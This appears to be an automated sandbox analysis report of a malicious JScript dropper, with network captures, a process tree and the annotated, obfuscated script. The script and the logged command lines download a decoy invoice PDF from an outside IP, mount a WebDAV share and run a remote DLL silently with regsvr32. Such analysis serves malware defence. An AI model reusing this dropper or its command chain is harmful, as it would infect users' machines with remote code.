Jan 11, 2025 03:48:07.795114994 CET	824	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 03:48:07.795499086 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c 38 38 d8 ef 7d 88 c8 ff 7a d0 4a 61 34 15 22 9d 44 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 Data Ascii: 1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlh
Jan 11, 2025 03:48:07.795511961 CET	1236	IN	Data Raw: 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e 43 4f 4f ee e6 31 f4 b2 89 a1 37 37 4f b7 e3 31 94 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 Data Ascii: ccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~
Jan 11, 2025 03:48:07.795525074 CET	448	IN	Data Raw: 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa 7b 2f fd d7 d9 df 9f fd 82 94 44 d3 94 68 1a 11 9d 7d 34 d9 97 2b 21 46 1f 91 29 49 54 32 68 4d 09 d5 19 d4 cc eb f9 a9 3d 9d 84 46 7b a8 d9 dc Data Ascii: cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.
Jan 11, 2025 03:48:07.838022947 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	6336	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:48:09.597353935 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:48:10.369344950 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:48:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:48:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js"
Imagebase:	0x7ff69a610000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:48:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll
Imagebase:	0x7ff6630f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:48:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:48:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:48:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:48:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6630f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:48:08
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69c570000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:48:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:48:09
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:48:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1640,i,5230379578885629213,765984037929995897,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rytgp() {	rytgp() ➔ undefined
1	vftenuhxi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nsfugfues = this[yoijei + rzvwunyrl + sxsthdz + pmlvs + asjlk + hikxad + jrjkcxp + cpctfe] ( this[glvqr + qwkxtcrj + jzytbltlg + sxsthdz + zxmtd + yoijei + cpctfe][dhktjzj + sxsthdz + asjlk + rzvwunyrl + cpctfe + asjlk + rbeemyxvn + ymhegkz + sudtvniw + asjlk + jzytbltlg + cpctfe] ( glvqr + qwkxtcrj + jzytbltlg + sxsthdz + zxmtd + yoijei + cpctfe + cffklh + qwkxtcrj + qspxbof + asjlk + abohe + abohe ) [xulwpk + asjlk + juthq + xulwpk + asjlk + rzvwunyrl + qoflzxa] ( epddmy + fjdsuqi + psxdnc + wghjkcg + aiirp + dhktjzj + dzywfdkq + xulwpk + xulwpk + psxdnc + ukule + lbwnkajc + aiirp + dzywfdkq + qwkxtcrj + psxdnc + xulwpk + uubmdg + dhktjzj + kzrvtn + jrjkcxp + cpctfe + sxsthdz + kzrvtn + abohe + wpqqtqof + qpnfsa + rzvwunyrl + jrjkcxp + asjlk + abohe + uubmdg + hikxad + jrjkcxp + cpctfe + asjlk + sxsthdz + jrjkcxp + rzvwunyrl + cpctfe + zxmtd + kzrvtn + jrjkcxp + rzvwunyrl + abohe + uubmdg + klheetibv + kzrvtn + jzytbltlg + rzvwunyrl + abohe + asjlk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nquxh = 0 ; nquxh < vftenuhxi[abohe + asjlk + jrjkcxp + juthq + cpctfe + qspxbof] ; ++ nquxh )
4	{
5	if ( nsfugfues == vftenuhxi[nquxh] )
6	{
7	nsfugfues = true;
8	break ;
9	}
10	}
11	if ( nsfugfues !== true )
12	this[glvqr + qwkxtcrj + jzytbltlg + sxsthdz + zxmtd + yoijei + cpctfe][qqnen + nrjlaj + zxmtd + cpctfe] ( );
13	this[glvqr + qwkxtcrj + jzytbltlg + sxsthdz + zxmtd + yoijei + cpctfe][dhktjzj + sxsthdz + asjlk + rzvwunyrl + cpctfe + asjlk + rbeemyxvn + ymhegkz + sudtvniw + asjlk + jzytbltlg + cpctfe] ( glvqr + qwkxtcrj + jzytbltlg + sxsthdz + zxmtd + yoijei + cpctfe + cffklh + qwkxtcrj + qspxbof + asjlk + abohe + abohe ) [sxsthdz + nrjlaj + jrjkcxp] ( jzytbltlg + braykok + qoflzxa + wpqqtqof + xkpozao + jzytbltlg + wpqqtqof + yoijei + kzrvtn + uwfahf + asjlk + sxsthdz + pmlvs + qspxbof + asjlk + abohe + abohe + cffklh + asjlk + xxdjsx + asjlk + wpqqtqof + fkopuzr + dhktjzj + kzrvtn + braykok + braykok + rzvwunyrl + jrjkcxp + qoflzxa + wpqqtqof + vxvfrezwi + hikxad + jrjkcxp + xbjcdht + kzrvtn + cafxwkvtv + asjlk + fkopuzr + glvqr + asjlk + ymhegkz + xulwpk + asjlk + potce + nrjlaj + asjlk + pmlvs + cpctfe + wpqqtqof + fkopuzr + rbeemyxvn + nrjlaj + cpctfe + ygectdea + zxmtd + abohe + asjlk + wpqqtqof + pzjdpc + cpctfe + asjlk + braykok + yoijei + pzjdpc + uubmdg + zxmtd + jrjkcxp + xbjcdht + kzrvtn + zxmtd + jzytbltlg + asjlk + cffklh + yoijei + qoflzxa + ehtjlmj + wpqqtqof + qspxbof + cpctfe + cpctfe + yoijei + whvsix + xkpozao + xkpozao + eyqwhvh + ajehogmad + creaki + cffklh + eyqwhvh + ypmjrexye + creaki + cffklh + eyqwhvh + cffklh + seord + dteoq + vjdcsh + xkpozao + zxmtd + jrjkcxp + xbjcdht + kzrvtn + zxmtd + jzytbltlg + asjlk + cffklh + yoijei + qspxbof + yoijei + vxvfrezwi + iczkob + iczkob + pmlvs + cpctfe + rzvwunyrl + sxsthdz + cpctfe + wpqqtqof + pzjdpc + cpctfe + asjlk + braykok + yoijei + pzjdpc + uubmdg + zxmtd + jrjkcxp + xbjcdht + kzrvtn + zxmtd + jzytbltlg + asjlk + cffklh + yoijei + qoflzxa + ehtjlmj + iczkob + iczkob + jzytbltlg + braykok + qoflzxa + wpqqtqof + xkpozao + jzytbltlg + wpqqtqof + jrjkcxp + asjlk + cpctfe + wpqqtqof + nrjlaj + pmlvs + asjlk + wpqqtqof + uubmdg + uubmdg + eyqwhvh + ajehogmad + creaki + cffklh + eyqwhvh + ypmjrexye + creaki + cffklh + eyqwhvh + cffklh + seord + dteoq + vjdcsh + zyaondwo + zanpkwvg + zanpkwvg + zanpkwvg + zanpkwvg + uubmdg + qoflzxa + rzvwunyrl + xbjcdht + uwfahf + uwfahf + uwfahf + sxsthdz + kzrvtn + kzrvtn + cpctfe + uubmdg + iczkob + iczkob + jzytbltlg + braykok + qoflzxa + wpqqtqof + xkpozao + jzytbltlg + wpqqtqof + sxsthdz + asjlk + juthq + pmlvs + xbjcdht + sxsthdz + creaki + seord + wpqqtqof + xkpozao + pmlvs + wpqqtqof + uubmdg + uubmdg + eyqwhvh + ajehogmad + creaki + cffklh + eyqwhvh + ypmjrexye + creaki + cffklh + eyqwhvh + cffklh + seord + dteoq + vjdcsh + zyaondwo + zanpkwvg + zanpkwvg + zanpkwvg + zanpkwvg + uubmdg + qoflzxa + rzvwunyrl + xbjcdht + uwfahf + uwfahf + uwfahf + sxsthdz + kzrvtn + kzrvtn + cpctfe + uubmdg + eyqwhvh + lhyfozoef + zanpkwvg + eyqwhvh + seord + seord + creaki + eyqwhvh + seord + eyqwhvh + seord + csovlumgn + seord + dteoq + csovlumgn + cffklh + qoflzxa + abohe + abohe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll",0,false) ➔ 0
14	}
15	eyqwhvh = "s";
16	eyqwhvh = "i";
17	eyqwhvh = "v";
18	eyqwhvh = "1";
19	xulwpk = "J";
20	xulwpk = "a";
21	xulwpk = "g";
22	xulwpk = "S";
23	xulwpk = "j";
24	xulwpk = "M";
25	xulwpk = "t";
26	xulwpk = "Z";
27	xulwpk = "l";
28	xulwpk = "h";
29	xulwpk = "F";
30	xulwpk = "J";
31	xulwpk = "s";
32	xulwpk = "s";
33	xulwpk = "k";
34	xulwpk = "p";
35	xulwpk = "h";
36	xulwpk = "m";
37	xulwpk = "K";
38	xulwpk = "F";
39	xulwpk = "O";
40	xulwpk = "J";
41	xulwpk = "L";
42	xulwpk = "R";
43	qqnen = "E";
44	qqnen = "T";
45	qqnen = "P";
46	qqnen = "V";
47	qqnen = "E";
48	qqnen = "j";
49	qqnen = "L";
50	qqnen = "L";
51	qqnen = "O";
52	qqnen = "P";
53	qqnen = "j";
54	qqnen = "Z";
55	qqnen = "y";
56	qqnen = "i";
57	qqnen = "W";
58	qqnen = "z";
59	qqnen = "L";
60	qqnen = "D";
61	qqnen = "f";
62	qqnen = "G";
63	qqnen = "i";
64	qqnen = "U";
65	qqnen = "y";
66	qqnen = "x";
67	qqnen = "r";
68	qqnen = "Q";
69	aiirp = "l";
70	aiirp = "Z";
71	aiirp = "N";
72	aiirp = "t";
73	aiirp = "u";
74	aiirp = "F";
75	aiirp = "z";
76	aiirp = "L";
77	aiirp = "s";
78	aiirp = "e";
79	aiirp = "W";
80	aiirp = "r";
81	aiirp = "a";
82	aiirp = "X";
83	aiirp = "D";
84	aiirp = "r";
85	aiirp = "Z";
86	aiirp = "Q";
87	aiirp = "Q";
88	aiirp = "R";
89	aiirp = "a";
90	aiirp = "S";
91	aiirp = "R";
92	aiirp = "D";
93	aiirp = "e";
94	aiirp = "U";
95	aiirp = "V";
96	aiirp = "P";
97	aiirp = "M";
98	aiirp = "S";
99	aiirp = "O";
100	aiirp = "f";
101	aiirp = "n";
102	aiirp = "f";
103	aiirp = "j";
104	aiirp = "y";
105	aiirp = "P";
106	aiirp = "J";
107	aiirp = "u";
108	aiirp = "F";
109	aiirp = "N";
110	aiirp = "_";
111	rzvwunyrl = "a";
112	rzvwunyrl = "J";
113	rzvwunyrl = "I";
114	rzvwunyrl = "Y";
115	rzvwunyrl = "G";
116	rzvwunyrl = "n";
117	rzvwunyrl = "l";
118	rzvwunyrl = "E";
119	rzvwunyrl = "A";
120	rzvwunyrl = "M";
121	rzvwunyrl = "j";
122	rzvwunyrl = "G";
123	rzvwunyrl = "f";
124	rzvwunyrl = "S";
125	rzvwunyrl = "X";
126	rzvwunyrl = "O";
127	rzvwunyrl = "b";
128	rzvwunyrl = "a";
129	cafxwkvtv = "f";
130	cafxwkvtv = "y";
131	cafxwkvtv = "E";
132	cafxwkvtv = "S";
133	cafxwkvtv = "Y";
134	cafxwkvtv = "L";
135	cafxwkvtv = "H";
136	cafxwkvtv = "z";
137	cafxwkvtv = "T";
138	cafxwkvtv = "P";
139	cafxwkvtv = "a";
140	cafxwkvtv = "S";
141	cafxwkvtv = "R";
142	cafxwkvtv = "j";
143	cafxwkvtv = "e";
144	cafxwkvtv = "g";
145	cafxwkvtv = "F";
146	cafxwkvtv = "f";
147	cafxwkvtv = "M";
148	cafxwkvtv = "h";
149	cafxwkvtv = "k";
150	ygectdea = "x";
151	ygectdea = "N";
152	ygectdea = "x";
153	ygectdea = "f";
154	ygectdea = "R";
155	ygectdea = "z";
156	ygectdea = "F";
157	ygectdea = "h";
158	ygectdea = "A";
159	ygectdea = "g";
160	ygectdea = "N";
161	ygectdea = "I";
162	ygectdea = "w";
163	ygectdea = "P";
164	ygectdea = "x";
165	ygectdea = "X";
166	ygectdea = "x";
167	ygectdea = "K";
168	ygectdea = "u";
169	ygectdea = "i";
170	ygectdea = "b";
171	ygectdea = "F";
172	ygectdea = "h";
173	ygectdea = "D";
174	ygectdea = "M";
175	ygectdea = "U";
176	ygectdea = "K";
177	ygectdea = "g";
178	ygectdea = "m";
179	ygectdea = "z";
180	ygectdea = "w";
181	ygectdea = "f";
182	ygectdea = "F";
183	ymhegkz = "h";
184	ymhegkz = "b";
185	ymhegkz = "W";
186	ymhegkz = "C";
187	ymhegkz = "g";
188	ymhegkz = "q";
189	ymhegkz = "M";
190	ymhegkz = "X";
191	ymhegkz = "z";
192	ymhegkz = "Z";
193	ymhegkz = "Q";
194	ymhegkz = "d";
195	ymhegkz = "a";
196	ymhegkz = "t";
197	ymhegkz = "t";
198	ymhegkz = "E";
199	ymhegkz = "I";
200	ymhegkz = "S";
201	ymhegkz = "y";
202	ymhegkz = "k";
203	ymhegkz = "i";
204	ymhegkz = "x";
205	ymhegkz = "C";
206	ymhegkz = "c";
207	ymhegkz = "l";
208	ymhegkz = "y";
209	ymhegkz = "P";
210	ymhegkz = "n";
211	ymhegkz = "K";
212	ymhegkz = "C";
213	ymhegkz = "Q";
214	ymhegkz = "j";
215	ymhegkz = "E";
216	ymhegkz = "f";
217	ymhegkz = "D";
218	ymhegkz = "J";
219	ymhegkz = "K";
220	ymhegkz = "V";
221	ymhegkz = "k";
222	ymhegkz = "e";
223	ymhegkz = "b";
224	xbjcdht = "O";
225	xbjcdht = "P";
226	xbjcdht = "R";
227	xbjcdht = "t";
228	xbjcdht = "M";
229	xbjcdht = "v";
230	xbjcdht = "d";
231	xbjcdht = "g";
232	xbjcdht = "T";
233	xbjcdht = "c";
234	xbjcdht = "e";
235	xbjcdht = "Q";
236	xbjcdht = "b";
237	xbjcdht = "f";
238	xbjcdht = "f";
239	xbjcdht = "H";
240	xbjcdht = "g";
241	xbjcdht = "v";
242	xbjcdht = "Q";
243	xbjcdht = "v";
244	xbjcdht = "v";
245	fkopuzr = "o";
246	fkopuzr = "o";
247	fkopuzr = "T";
248	fkopuzr = "l";
249	fkopuzr = "t";
250	fkopuzr = "g";
251	fkopuzr = "b";
252	fkopuzr = "V";
253	fkopuzr = "f";
254	fkopuzr = "X";
255	fkopuzr = "h";
256	fkopuzr = "v";
257	fkopuzr = "S";
258	fkopuzr = "f";
259	fkopuzr = "L";
260	fkopuzr = "L";
261	fkopuzr = "u";
262	fkopuzr = "c";
263	fkopuzr = "l";
264	fkopuzr = "Q";
265	fkopuzr = "P";
266	fkopuzr = "n";
267	fkopuzr = "Z";
268	fkopuzr = "V";
269	fkopuzr = "E";
270	fkopuzr = "G";
271	fkopuzr = "O";
272	fkopuzr = "y";
273	fkopuzr = "O";
274	fkopuzr = "g";
275	fkopuzr = "p";
276	fkopuzr = "K";
277	fkopuzr = "o";
278	fkopuzr = "h";
279	fkopuzr = "U";
280	fkopuzr = "-";
281	uwfahf = "z";
282	uwfahf = "a";
283	uwfahf = "E";
284	uwfahf = "n";
285	uwfahf = "K";
286	uwfahf = "t";
287	uwfahf = "w";
288	vjdcsh = "a";
289	vjdcsh = "b";
290	vjdcsh = "D";
291	vjdcsh = "j";
292	vjdcsh = "X";
293	vjdcsh = "l";
294	vjdcsh = "T";
295	vjdcsh = "f";
296	vjdcsh = "a";
297	vjdcsh = "X";
298	vjdcsh = "T";
299	vjdcsh = "F";
300	vjdcsh = "e";
301	vjdcsh = "b";
302	vjdcsh = "a";
303	vjdcsh = "j";
304	vjdcsh = "q";
305	vjdcsh = "O";
306	vjdcsh = "E";
307	vjdcsh = "m";
308	vjdcsh = "X";
309	vjdcsh = "F";
310	vjdcsh = "t";
311	vjdcsh = "c";
312	vjdcsh = "z";
313	vjdcsh = "5";
314	dhktjzj = "c";
315	dhktjzj = "q";
316	dhktjzj = "r";
317	dhktjzj = "e";
318	dhktjzj = "C";
319	dhktjzj = "B";
320	dhktjzj = "y";
321	dhktjzj = "m";
322	dhktjzj = "k";
323	dhktjzj = "s";
324	dhktjzj = "i";
325	dhktjzj = "n";
326	dhktjzj = "x";
327	dhktjzj = "u";
328	dhktjzj = "Q";
329	dhktjzj = "A";
330	dhktjzj = "S";
331	dhktjzj = "y";
332	dhktjzj = "M";
333	dhktjzj = "r";
334	dhktjzj = "F";
335	dhktjzj = "h";
336	dhktjzj = "V";
337	dhktjzj = "g";
338	dhktjzj = "u";
339	dhktjzj = "V";
340	dhktjzj = "J";
341	dhktjzj = "S";
342	dhktjzj = "s";
343	dhktjzj = "n";
344	dhktjzj = "M";
345	dhktjzj = "X";
346	dhktjzj = "s";
347	dhktjzj = "G";
348	dhktjzj = "n";
349	dhktjzj = "O";
350	dhktjzj = "E";
351	dhktjzj = "C";
352	lbwnkajc = "r";
353	lbwnkajc = "e";
354	lbwnkajc = "w";
355	lbwnkajc = "g";
356	lbwnkajc = "u";
357	lbwnkajc = "P";
358	lbwnkajc = "N";
359	lbwnkajc = "A";
360	lbwnkajc = "T";
361	lbwnkajc = "s";
362	lbwnkajc = "b";
363	lbwnkajc = "c";
364	lbwnkajc = "B";
365	lbwnkajc = "j";
366	lbwnkajc = "y";
367	lbwnkajc = "s";
368	lbwnkajc = "g";
369	lbwnkajc = "F";
370	lbwnkajc = "W";
371	lbwnkajc = "b";
372	lbwnkajc = "H";
373	lbwnkajc = "X";
374	lbwnkajc = "x";
375	lbwnkajc = "K";
376	lbwnkajc = "n";
377	lbwnkajc = "c";
378	lbwnkajc = "a";
379	lbwnkajc = "t";
380	lbwnkajc = "u";
381	lbwnkajc = "T";
382	qoflzxa = "h";
383	qoflzxa = "S";
384	qoflzxa = "I";
385	qoflzxa = "a";
386	qoflzxa = "i";
387	qoflzxa = "f";
388	qoflzxa = "v";
389	qoflzxa = "n";
390	qoflzxa = "Y";
391	qoflzxa = "x";
392	qoflzxa = "M";
393	qoflzxa = "C";
394	qoflzxa = "S";
395	qoflzxa = "L";
396	qoflzxa = "N";
397	qoflzxa = "T";
398	qoflzxa = "p";
399	qoflzxa = "v";
400	qoflzxa = "T";
401	qoflzxa = "b";
402	qoflzxa = "q";
403	qoflzxa = "n";
404	qoflzxa = "V";
405	qoflzxa = "f";
406	qoflzxa = "d";
407	sudtvniw = "m";
408	sudtvniw = "M";
409	sudtvniw = "E";
410	sudtvniw = "C";
411	sudtvniw = "Y";
412	sudtvniw = "B";
413	sudtvniw = "X";
414	sudtvniw = "u";
415	sudtvniw = "q";
416	sudtvniw = "w";
417	sudtvniw = "D";
418	sudtvniw = "S";
419	sudtvniw = "C";
420	sudtvniw = "X";
421	sudtvniw = "y";
422	sudtvniw = "w";
423	sudtvniw = "n";
424	sudtvniw = "b";
425	sudtvniw = "i";
426	sudtvniw = "C";
427	sudtvniw = "x";
428	sudtvniw = "Y";
429	sudtvniw = "Y";
430	sudtvniw = "v";
431	sudtvniw = "Y";
432	sudtvniw = "f";
433	sudtvniw = "H";
434	sudtvniw = "i";
435	sudtvniw = "N";
436	sudtvniw = "j";
437	sudtvniw = "v";
438	sudtvniw = "e";
439	sudtvniw = "S";
440	sudtvniw = "O";
441	sudtvniw = "g";
442	sudtvniw = "H";
443	sudtvniw = "y";
444	sudtvniw = "k";
445	sudtvniw = "y";
446	sudtvniw = "F";
447	sudtvniw = "s";
448	sudtvniw = "j";
449	glvqr = "l";
450	glvqr = "l";
451	glvqr = "R";
452	glvqr = "C";
453	glvqr = "B";
454	glvqr = "f";
455	glvqr = "p";
456	glvqr = "x";
457	glvqr = "F";
458	glvqr = "X";
459	glvqr = "W";
460	glvqr = "E";
461	glvqr = "E";
462	glvqr = "b";
463	glvqr = "t";
464	glvqr = "y";
465	glvqr = "z";
466	glvqr = "D";
467	glvqr = "s";
468	glvqr = "e";
469	glvqr = "r";
470	glvqr = "Y";
471	glvqr = "B";
472	glvqr = "u";
473	glvqr = "j";
474	glvqr = "O";
475	glvqr = "n";
476	glvqr = "R";
477	glvqr = "v";
478	glvqr = "I";
479	glvqr = "W";
480	glvqr = "z";
481	glvqr = "X";
482	glvqr = "o";
483	glvqr = "R";
484	glvqr = "B";
485	glvqr = "X";
486	glvqr = "Y";
487	glvqr = "p";
488	glvqr = "M";
489	glvqr = "W";
490	abohe = "V";
491	abohe = "j";
492	abohe = "v";
493	abohe = "D";
494	abohe = "W";
495	abohe = "R";
496	abohe = "d";
497	abohe = "x";
498	abohe = "N";
499	abohe = "B";
500	abohe = "I";
501	abohe = "k";
502	abohe = "p";
503	abohe = "I";
504	abohe = "A";
505	abohe = "R";
506	abohe = "Q";
507	abohe = "h";
508	abohe = "n";
509	abohe = "j";
510	abohe = "l";
511	abohe = "k";
512	abohe = "S";
513	abohe = "g";
514	abohe = "j";
515	abohe = "l";
516	jzytbltlg = "b";
517	jzytbltlg = "I";
518	jzytbltlg = "B";
519	jzytbltlg = "X";
520	jzytbltlg = "i";
521	jzytbltlg = "H";
522	jzytbltlg = "V";
523	jzytbltlg = "Q";
524	jzytbltlg = "u";
525	jzytbltlg = "a";
526	jzytbltlg = "r";
527	jzytbltlg = "i";
528	jzytbltlg = "A";
529	jzytbltlg = "a";
530	jzytbltlg = "U";
531	jzytbltlg = "j";
532	jzytbltlg = "j";
533	jzytbltlg = "j";
534	jzytbltlg = "V";
535	jzytbltlg = "i";
536	jzytbltlg = "A";
537	jzytbltlg = "d";
538	jzytbltlg = "b";
539	jzytbltlg = "q";
540	jzytbltlg = "q";
541	jzytbltlg = "y";
542	jzytbltlg = "p";
543	jzytbltlg = "w";
544	jzytbltlg = "m";
545	jzytbltlg = "D";
546	jzytbltlg = "n";
547	jzytbltlg = "P";
548	jzytbltlg = "H";
549	jzytbltlg = "r";
550	jzytbltlg = "U";
551	jzytbltlg = "J";
552	jzytbltlg = "f";
553	jzytbltlg = "F";
554	jzytbltlg = "B";
555	jzytbltlg = "W";
556	jzytbltlg = "g";
557	jzytbltlg = "D";
558	jzytbltlg = "c";
559	uubmdg = "E";
